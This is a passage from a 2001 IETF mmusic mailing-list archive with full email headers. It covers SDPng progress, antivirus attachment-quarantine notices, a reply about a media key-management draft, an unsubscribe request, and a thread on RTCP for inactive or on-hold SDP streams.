schema and updated the examples accordingly.

Next steps:
        - develop minimal implementation based on a non-validating parser
        - refine specification
        - define basic profiles

We have also updated the web page

        http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/

If there are some additional input documents or other information that
you would like to have listed there, please let us know.

-- 
	Dirk

From confctrl-owner  Mon Aug 27 05:34:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA13005
	for confctrl-outgoing; Mon, 27 Aug 2001 05:34:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA12999
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 05:34:21 -0700 (PDT)
Received: from ukdmzmail1.ctxi.com (mailhost.ctxi.com [193.130.171.211])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RCYMv00010
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 05:34:22 -0700 (PDT)
Received: from ukwtpmsxbh2.crowncastle.co.uk (unverified) by ukdmzmail1.ctxi.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a8026455a0a493b5@ukdmzmail1.ctxi.com> for <confctrl@isi.edu>;
 Mon, 27 Aug 2001 13:36:00 +0100
Received: by ukwtpmsxbh2.crowncastle.co.uk with Internet Mail Service (5.5.2653.19)
	id <RDAZSYAS>; Mon, 27 Aug 2001 13:34:13 +0100
Message-ID: <E546760DDA87D411882700508BAF16CE306F47@ukwtpmsx3>
From: ANTIGEN_UKWTPMSX3 <ANTIGEN_UKWTPMSX3@crowncastle.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: File removed as per Crown Castle UK policy.
Date: Mon, 27 Aug 2001 13:33:54 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

***This is not a virus detection warning***

The file, draft-ietf-mmusic-sdp4nat-00.url, has been sent to you from
outside the Company, and was removed as a potential security, virus or
license infringement risk. It has been quarantined to a safe area. 

Please contact the Service Desk (x6555) for information on how to safely
retrieve this file.

This activity has been logged and is subject to monitoring.

Antigen for Exchange found draft-ietf-mmusic-sdp4nat-00.url.
The file is currently Removed.  The message, "I-D
ACTION:draft-ietf-mmusic-sdp4nat-00.txt", was
sent from Internet-Drafts@ietf.org and was discovered in Worrall, Kevin -
UK\Standards Bodies\ietf
located at Crown/UnitedKingdom/UKWTPMSX3.


************************
NOTICE TO USERS
The contents of this e-mail are confidential to the ordinary user of the e-mail address to which it was addressed and may also be privileged. 
If you are not the addressee of this e-mail you may not copy, forward, disclose or otherwise use it or any part of it in any form whatsoever, or take any action in reliance on its contents. 
If you have received this e-mail in error please e-mail the author by replying to this message and delete the material from your computer. 
While reasonable precautions have been taken to ensure no viruses are present in this e-mail, you are responsible for carrying out your own virus checks and Crown Castle International does not accept responsibility for any loss or damage thereby arising. 
The views of the author may not necessarily reflect those of Crown Castle International. At present the integrity of e-mail across the Internet cannot be guaranteed and messages sent via this medium are potentially at risk. 
All liability is excluded to the extent permitted by law for any claims arising as a result of the use of this medium to transmit information by or to Crown Castle International.

Visit Crown Castle International web site on: http://www.crowncastle.com

From confctrl-owner  Mon Aug 27 05:42:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA13559
	for confctrl-outgoing; Mon, 27 Aug 2001 05:42:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA13554
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 05:42:17 -0700 (PDT)
Received: from ukdmzmail1.ctxi.com (mailhost.ctxi.com [193.130.171.211])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RCgIv01391
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 05:42:18 -0700 (PDT)
Received: from ukwtpmsxbh1.crowncastle.co.uk (unverified) by ukdmzmail1.ctxi.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a8026455a0abd9d4@ukdmzmail1.ctxi.com> for <confctrl@isi.edu>;
 Mon, 27 Aug 2001 13:43:57 +0100
Received: by UKWTPMSXBH1 with Internet Mail Service (5.5.2653.19)
	id <R2832A53>; Mon, 27 Aug 2001 13:42:06 +0100
Message-ID: <E546760DDA87D411882700508BAF16CE306F4A@ukwtpmsx3>
From: ANTIGEN_UKWTPMSX3 <ANTIGEN_UKWTPMSX3@crowncastle.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: File removed as per Crown Castle UK policy.
Date: Mon, 27 Aug 2001 13:41:54 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

***This is not a virus detection warning***

The file, draft-ietf-mmusic-sdpng-02.url, has been sent to you from outside
the Company, and was removed as a potential security, virus or license
infringement risk. It has been quarantined to a safe area. 

Please contact the Service Desk (x6555) for information on how to safely
retrieve this file.

This activity has been logged and is subject to monitoring.

Antigen for Exchange found draft-ietf-mmusic-sdpng-02.url.
The file is currently Removed.  The message, "I-D
ACTION:draft-ietf-mmusic-sdpng-02.txt", was
sent from Internet-Drafts@ietf.org and was discovered in Worrall, Kevin -
UK\Standards Bodies\ietf
located at Crown/UnitedKingdom/UKWTPMSX3.


************************
NOTICE TO USERS
The contents of this e-mail are confidential to the ordinary user of the e-mail address to which it was addressed and may also be privileged. 
If you are not the addressee of this e-mail you may not copy, forward, disclose or otherwise use it or any part of it in any form whatsoever, or take any action in reliance on its contents. 
If you have received this e-mail in error please e-mail the author by replying to this message and delete the material from your computer. 
While reasonable precautions have been taken to ensure no viruses are present in this e-mail, you are responsible for carrying out your own virus checks and Crown Castle International does not accept responsibility for any loss or damage thereby arising. 
The views of the author may not necessarily reflect those of Crown Castle International. At present the integrity of e-mail across the Internet cannot be guaranteed and messages sent via this medium are potentially at risk. 
All liability is excluded to the extent permitted by law for any claims arising as a result of the use of this medium to transmit information by or to Crown Castle International.

Visit Crown Castle International web site on: http://www.crowncastle.com

From confctrl-owner  Mon Aug 27 07:39:55 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA18828
	for confctrl-outgoing; Mon, 27 Aug 2001 07:39:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18823
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 07:39:54 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7REdtv25399
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 07:39:56 -0700 (PDT)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f7REdsK23804
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 16:39:54 +0200 (MEST)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Mon Aug 27 16:39:50 2001 +0200
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <NBWV51WL>; Mon, 27 Aug 2001 16:39:50 +0200
Message-ID: <0DAEDF148988D411BB980008C7E65D2E021620FF@esealnt416>
From: "Fredrik Lindholm (ERA)" <Fredrik.Lindholm@era.ericsson.se>
To: "'Ran Canetti'" <canetti@watson.ibm.com>,
        "Elisabetta Carrara (ERA)"
	 <Elisabetta.Carrara@era.ericsson.se>,
        jari.arkko@ericsson.com, mbaugher@cisco.com,
        =?iso-8859-1?Q?=27Mats_N=E4slund=27?=
	 <mats.naslund@era-t.ericsson.se>,
        "'Rolf Blom'"
	 <rolf.blom@era-t.ericsson.se>
Cc: confctrl@ISI.EDU, msec@securemulticast.org
Subject: RE: [MSEC] draft-blom-mm-kmgt-00.txt
Date: Mon, 27 Aug 2001 16:39:43 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Mark, Ran, 

Thanks for the comments.

I'll try to answer some of your questions and comments by the following statement:
* Our main concern is (as Mark pointed out) security of media streams (i.e. SRTP) not the security of the call control such as SIP and RTSP (we understand that we need to clarify the relationship between call control and media security).
* One of the design choices has been to use timestamps even though it has limitations. We are aware that we must add clarifications of its use in different scenarios, the security implications etc. We like this approach because it gives us the possibility to let the source "push" down keys very fast and because it gives the possibility to integrate/piggy-back the protocol in the call control, e.g. SIP and RTSP. 
* For one way authentication our public key scheme needs 1/2 round. This can't be achieved with a scheme that requires mutual party input for the key derivation (such as the revised public key). 
* We do not mandate forward secrecy due to the computational burden, but we included the DH to be able to provide it as optional. Note that there often exists constrains on call setup time and the delay budget is essentially filled by the transport of bits itself.
* It is our intention to separate the key management protocol from the security protocol (even though we right know only have SRTP). 

DoS

Due to the nature of the protocol (i.e. that it is meant to be integrated in e.g. SIP) we do not check the validity of the originator's address. This may however be done by the transporting protocol (I would even recommend this). But if this is not done by the transporting protocol, this will lead (in the worst case) to one signature verification each time a "valid" message arrives. Still, we should probably add this in the security considerations. 

SIP scenario

What we tried to describe in the SIP scenario was that even though it might be technical possible to have an end-to-end protection of the SIP signaling, this will probably not be done in many practical implementations (due to intermediate nodes etc.). Instead of always relying on the security of SIP (or RTSP) we believe that we need our own protection which should be independent of the transport protocol used. 

ID protection

Your points are definitely valid. But our main concern was not to provide anonymity at the extra cost of additional roundtrips. However, some level of identity protection can be given, e.g. in the pre-shared key version. In this case, of course, the two calling parties know the identity by the other (e.g. by using pseudonyms). In the public key case we do provide identity protection by allowing the ID/Certificate to be encrypted (this will however open DoS problems). The initiator's identity will then be protected as well as the responder's (this will of course require that the responder knows what private key to decrypt with). 

Re-keying

Note that we clearly distinguish between re-keying and refresh. The latter being deriving a new key without any extra communication. 

Life time

The fact that the key lifetime etc. may differ depending on the security protocol makes it impossible to specify it in the key management draft. However, we could provide recommendations on a more general level. Note that in SRTP we specify such limits for SRTP and we believe that other security protocols designers should do the same.

Groups

We had as an application, a multimedia session in which you dynamically may add new streams. To us it is then natural to make the source the membership controller. 


The others security related comments about what should be included in hashes etc. are of course valid and we need to take these into account, thanks.


Once again, thanks for the comments and you are more than welcome to send more. 

Best Regards,
Fredrik

From confctrl-owner  Mon Aug 27 09:23:55 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA24605
	for confctrl-outgoing; Mon, 27 Aug 2001 09:23:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA24599
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 09:23:53 -0700 (PDT)
Received: from post2.inre.asu.edu (post2.inre.asu.edu [129.219.110.73])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RGNtv27395
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 09:23:55 -0700 (PDT)
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0GIQ00101IUGM6@asu.edu> for confctrl@ISI.EDU; Mon,
 27 Aug 2001 09:23:05 -0700 (MST)
Received: from smtp.asu.edu (smtp.asu.edu [129.219.13.92])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0GIQ0019FIUG4N@asu.edu> for
 confctrl@ISI.EDU; Mon, 27 Aug 2001 09:23:04 -0700 (MST)
Received: from asusrl ([149.169.44.158])	by smtp.asu.edu (8.9.3/8.9.3)
 with SMTP id JAA02187	for <confctrl@ISI.EDU>; Mon,
 27 Aug 2001 09:23:05 -0700 (MST)
Date: Mon, 27 Aug 2001 09:21:45 -0700
From: Li Bing <libing@asu.edu>
Subject: How to unsubscribe?
To: confctrl@ISI.EDU
Message-id: <KIEMICDAPENAOMMFDOPGMEDPCAAA.libing@asu.edu>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Content-type: multipart/mixed; boundary="Boundary_(ID_STVyT28gt/L2tc9u9LeIow)"
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
X-MS-TNEF-Correlator: <KIEMICDAPENAOMMFDOPGMEDPCAAA.libing@asu.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

--Boundary_(ID_STVyT28gt/L2tc9u9LeIow)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit

Dear all,

Could you please tell me how to unsubscribe the mailing list?

Thanks a lot!
Li Bing

--Boundary_(ID_STVyT28gt/L2tc9u9LeIow)
Content-type: application/ms-tnef; name=winmail.dat
Content-transfer-encoding: BASE64
Content-disposition: attachment; filename=winmail.dat

eJ8+Ii0QAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAA
AElQTS5NaWNyb3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAA
ANEHCAAbAAkAFQAAAAEAGgEBA5AGANwEAAAlAAAACwACAAEAAAALACMAAAAAAAMA
JgAAAAAACwApAAAAAAADADYAAAAAAB4AcAABAAAAFAAAAEhvdyB0byB1bnN1YnNj
cmliZT8AAgFxAAEAAAAWAAAAAcEvFF0OcUFNtTUURxSu8NpL2Q2TwQAAAgEdDAEA
AAAUAAAAU01UUDpMSUJJTkdAQVNVLkVEVQALAAEOAAAAAEAABg4AfjlCFC/BAQIB
Cg4BAAAAGAAAAAAAAABJ4D/DGOWoTIIwvTDTBiYTwoAAAAsAHw4BAAAAAgEJEAEA
AADEAAAAwAAAAPAAAABMWkZ1U15G+wMACgByY3BnMTI1FjIA+Atgbg4QMDMzTwH3
AqQD4wIAY2gKwHOwZXQwIAcTAoB9CoGSdgiQd2sLgGQ0DGCOYwBQCwMLtSBEZQrB
eQdAbCwKogqECoAIUWzoZCB5CGAgC1AT4BEgKCB0ZRQwIAeAIGhCbwfgdG8gdQCA
depiBPJiFhFoFhAAwAMQiQuAZyAYUHN0PxRqUlQQ8G5rBCBhGJBvhHQhFGRMaSBC
GGELFGQR4QAb8AsAAYAIIAYAAAAAAMAAAAAAAABGAAAAAAOFAAAAAAAAAwADgAgg
BgAAAAAAwAAAAAAAAEYAAAAAEIUAAAAAAAADAAeACCAGAAAAAADAAAAAAAAARgAA
AABShQAAJ2oBAB4ACYAIIAYAAAAAAMAAAAAAAABGAAAAAFSFAAABAAAABAAAADku
MAAeAAqACCAGAAAAAADAAAAAAAAARgAAAAA2hQAAAQAAAAEAAAAAAAAAHgALgAgg
BgAAAAAAwAAAAAAAAEYAAAAAN4UAAAEAAAABAAAAAAAAAB4ADIAIIAYAAAAAAMAA
AAAAAABGAAAAADiFAAABAAAAAQAAAAAAAAALAA2ACCAGAAAAAADAAAAAAAAARgAA
AACChQAAAQAAAAsAOoAIIAYAAAAAAMAAAAAAAABGAAAAAA6FAAAAAAAAAwA8gAgg
BgAAAAAAwAAAAAAAAEYAAAAAEYUAAAAAAAADAD2ACCAGAAAAAADAAAAAAAAARgAA
AAAYhQAAAAAAAAsAUoAIIAYAAAAAAMAAAAAAAABGAAAAAAaFAAAAAAAAAwBTgAgg
BgAAAAAAwAAAAAAAAEYAAAAAAYUAAAAAAAACAfgPAQAAABAAAABJ4D/DGOWoTIIw
vTDTBiYTAgH6DwEAAAAQAAAASeA/wxjlqEyCML0w0wYmEwIB+w8BAAAAcwAAAAAA
AAA4obsQBeUQGqG7CAArKlbCAABQU1RQUlguRExMAAAAAAAAAABOSVRB+b+4AQCq
ADfZbgAAAEM6XFdJTkRPV1NcQXBwbGljYXRpb24gRGF0YVxNaWNyb3NvZnRcT3V0
bG9va1xvdXRsb29rLnBzdAAAAwD+DwUAAAADAA00/TcAAAIBfwABAAAALgAAADxL
SUVNSUNEQVBFTkFPTU1GRE9QR01FRFBDQUFBLmxpYmluZ0Bhc3UuZWR1PgAAAAMA
BhDJvOqWAwAHEEsAAAADABAQAAAAAAMAERAAAAAAHgAIEAEAAABMAAAAREVBUkFM
TCxDT1VMRFlPVVBMRUFTRVRFTExNRUhPV1RPVU5TVUJTQ1JJQkVUSEVNQUlMSU5H
TElTVD9USEFOS1NBTE9UTElCSU5HAP3g

--Boundary_(ID_STVyT28gt/L2tc9u9LeIow)--

From confctrl-owner  Mon Aug 27 14:36:43 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA07158
	for confctrl-outgoing; Mon, 27 Aug 2001 14:36:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA07153
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 14:36:43 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RLaiv01230
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 14:36:44 -0700 (PDT)
Received: from oranlt ([161.44.238.60])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f7RLav609599;
	Mon, 27 Aug 2001 14:36:57 -0700 (PDT)
From: "David R. Oran" <oran@cisco.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold 
Date: Mon, 27 Aug 2001 17:43:26 -0400
Organization: Cisco Systems
Message-ID: <006901c12f41$4e82a8d0$3cee2ca1@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
In-reply-to: <B65B4F8437968F488A01A940B21982BF020D6616@DYN-EXCH-001.dynamicsoft.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2542.0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I sure think RTCP should be sent.

Dave.

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU] 
> On Behalf Of Jonathan Rosenberg
> Sent: Wednesday, August 22, 2001 2:30 PM
> To: 'Colin Perkins'; Gonzalo Camarillo
> Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> Subject: RE: [Sip] Re: SDP hold 
> 
> 
> So, here is an important question on the inactive attribute. 
> If a stream is inactive, is RTCP sent? I think it probably 
> should, actually... RTCP helps to keep state alive in various 
> places, and this session is still alive, just suspended.
> 
> THoughts?
> 
> -Jonathan R.
> 
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>  
> 
> > -----Original Message-----
> > From: Colin Perkins [mailto:csp@purple.cs.ucl.ac.uk]
> > Sent: Wednesday, August 15, 2001 5:30 AM
> > To: Gonzalo Camarillo
> > Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> > Subject: Re: [Sip] Re: SDP hold
> > 
> > >a=inactive
> > >    This specifies that the tools should be started in inactive
> > >    mode.  This is necessary for interactive conferences
> > where users can
> > >put other users on hold. No media is sent over an inactive
> > media stream.
> > >It can be either a session or media attribute, and is not
> > dependent on
> > >charset.
> 


From confctrl-owner  Mon Aug 27 14:37:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA07179
	for confctrl-outgoing; Mon, 27 Aug 2001 14:37:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA07174
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 14:37:17 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RLbJv01677
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 14:37:19 -0700 (PDT)
Received: from oranlt ([161.44.238.60])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f7RLbV609983;
	Mon, 27 Aug 2001 14:37:32 -0700 (PDT)
From: "David R. Oran" <oran@cisco.com>
To: <sean.olson@ericsson.com>,
        "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        <Gonzalo.Camarillo.Gonzalez@cisco.com (LMF)>
Cc: <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold 
Date: Mon, 27 Aug 2001 17:44:00 -0400
Organization: Cisco Systems
Message-ID: <006a01c12f41$631d7860$3cee2ca1@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
In-reply-to: <F9211EC7A7FED4119FD9005004A6C87003F2D5E8@eamrcnt723.exu.ericsson.se>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2542.0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU] 
> On Behalf Of sean.olson@ericsson.com
> Sent: Wednesday, August 22, 2001 3:13 PM
> To: 'Jonathan Rosenberg'; 'Colin Perkins'; Gonzalo Camarillo 
> Gonzalez (LMF)
> Cc: sip@ietf.org; mmusic
> Subject: RE: [Sip] Re: SDP hold 
> 
> 
> I thought the entire point of the inactive attribute
> was to specify a stream that did not send RTP -or- RTCP.
> 
> If we accept the following:
> 
> 1) send-only: RTP one way, RTCP two way
> 2) recv-only: RTP one way, RTCP two way
> 3) send-recv: RTP two way, RTCP two way
> 4) inactive:  no RTP, RTCP two way
> 5) XXX: no RTP, no RTCP ???
> 
> Then what is used to specify the fifth item
> (no RTP, no RTCP)?
>
An SDP which does not include that media stream.
 
> /sean
> 
> 
> >-----Original Message-----
> >From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> >Sent: Wednesday, August 22, 2001 1:30 PM
> >To: 'Colin Perkins'; Gonzalo Camarillo
> >Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> >Subject: RE: [Sip] Re: SDP hold
> >
> >
> >So, here is an important question on the inactive attribute.
> >If a stream is
> >inactive, is RTCP sent? I think it probably should, 
> >actually... RTCP helps
> >to keep state alive in various places, and this session is 
> >still alive, just
> >suspended.
> >
> >THoughts?
> >
> >-Jonathan R.
> >
> >
> >---
> >Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> >Chief Scientist                             First Floor
> >dynamicsoft                                 East Hanover, NJ 07936
> >jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> >http://www.jdrosen.net                      PHONE: (973) 952-5000
> >http://www.dynamicsoft.com
> > 
> >
> >> -----Original Message-----
> >> From: Colin Perkins [mailto:csp@purple.cs.ucl.ac.uk]
> >> Sent: Wednesday, August 15, 2001 5:30 AM
> >> To: Gonzalo Camarillo
> >> Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> >> Subject: Re: [Sip] Re: SDP hold
> >> 
> >> >a=inactive
> >> >    This specifies that the tools should be started in inactive
> >> >    mode.  This is necessary for interactive conferences
> >> where users can
> >> >put other users on hold. No media is sent over an inactive
> >> media stream.
> >> >It can be either a session or media attribute, and is not
> >> dependent on
> >> >charset.
> >
> 
> 


From confctrl-owner  Mon Aug 27 15:22:19 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA10071
	for confctrl-outgoing; Mon, 27 Aug 2001 15:22:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA10065
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 15:22:18 -0700 (PDT)
Received: from inet-vrs-05.redmond.corp.microsoft.com (mail5.microsoft.com [131.107.3.121])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f7RMMKv29555
	for <confctrl@isi.edu>; Mon, 27 Aug 2001 15:22:20 -0700 (PDT)
Received: from 157.54.9.100 by inet-vrs-05.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 27 Aug 2001 15:21:54 -0700
Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-imc-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 27 Aug 2001 15:21:51 -0700
Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 27 Aug 2001 15:21:50 -0700
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 27 Aug 2001 15:21:30 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.0.5716.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Subject: RE: [Sip] Re: SDP hold 
Date: Mon, 27 Aug 2001 15:21:30 -0700
Message-ID: <F66A04C29AD9034A8205949AD0C90104A3E6E3@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [Sip] Re: SDP hold 
Thread-Index: AcEvQQGiCVd4dgwfTXi4H6pVmhN8LwABVGZw
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "David R. Oran" <oran@cisco.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "Colin Perkins" <csp@purple.cs.ucl.ac.uk>,
        "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: <sip@ietf.org>, "mmusic" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 27 Aug 2001 22:21:30.0940 (UTC) FILETIME=[9F44FFC0:01C12F46]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id PAA10066
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yep. In fact, if you consider things like NAT traversal, you probably
want to also send a modicum of RTP packets for sessions that are on
hold. Maybe some comfort noise, at a low bit rate. Otherwise, you are
going to loose your mappings, and the "going off hold" will be tricky.

-- Christian Huitema

> -----Original Message-----
> From: David R. Oran [mailto:oran@cisco.com]
> Sent: Monday, August 27, 2001 2:43 PM
> To: 'Jonathan Rosenberg'; 'Colin Perkins'; 'Gonzalo Camarillo'
> Cc: sip@ietf.org; 'mmusic'
> Subject: RE: [Sip] Re: SDP hold
> 
> I sure think RTCP should be sent.
> 
> Dave.


From confctrl-owner  Mon Aug 27 16:17:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA13238
	for confctrl-outgoing; Mon, 27 Aug 2001 16:17:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA13233
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 16:17:43 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RNHjv05064
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 16:17:45 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7RNHE613981;
	Mon, 27 Aug 2001 19:17:17 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAJ18477 (AUTH pkyzivat);
	Mon, 27 Aug 2001 19:18:28 -0400 (EDT)
Message-ID: <3B8AD387.CF97874A@cisco.com>
Date: Mon, 27 Aug 2001 19:11:03 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@windows.microsoft.com>
CC: "David R. Oran" <oran@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Colin Perkins <csp@purple.cs.ucl.ac.uk>,
